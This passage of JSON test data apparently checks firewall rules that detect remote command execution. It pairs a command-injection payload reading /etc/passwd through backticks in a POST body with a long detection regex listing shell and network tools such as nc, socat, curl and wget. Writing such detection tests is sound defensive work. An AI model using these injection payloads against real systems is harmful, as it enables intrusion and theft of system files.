\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Like rule True Negative Rule Integrity 11 but the html entity is concatenation with RCE at the beginning" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=` /bin/cat /etc/passwd`" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-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\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\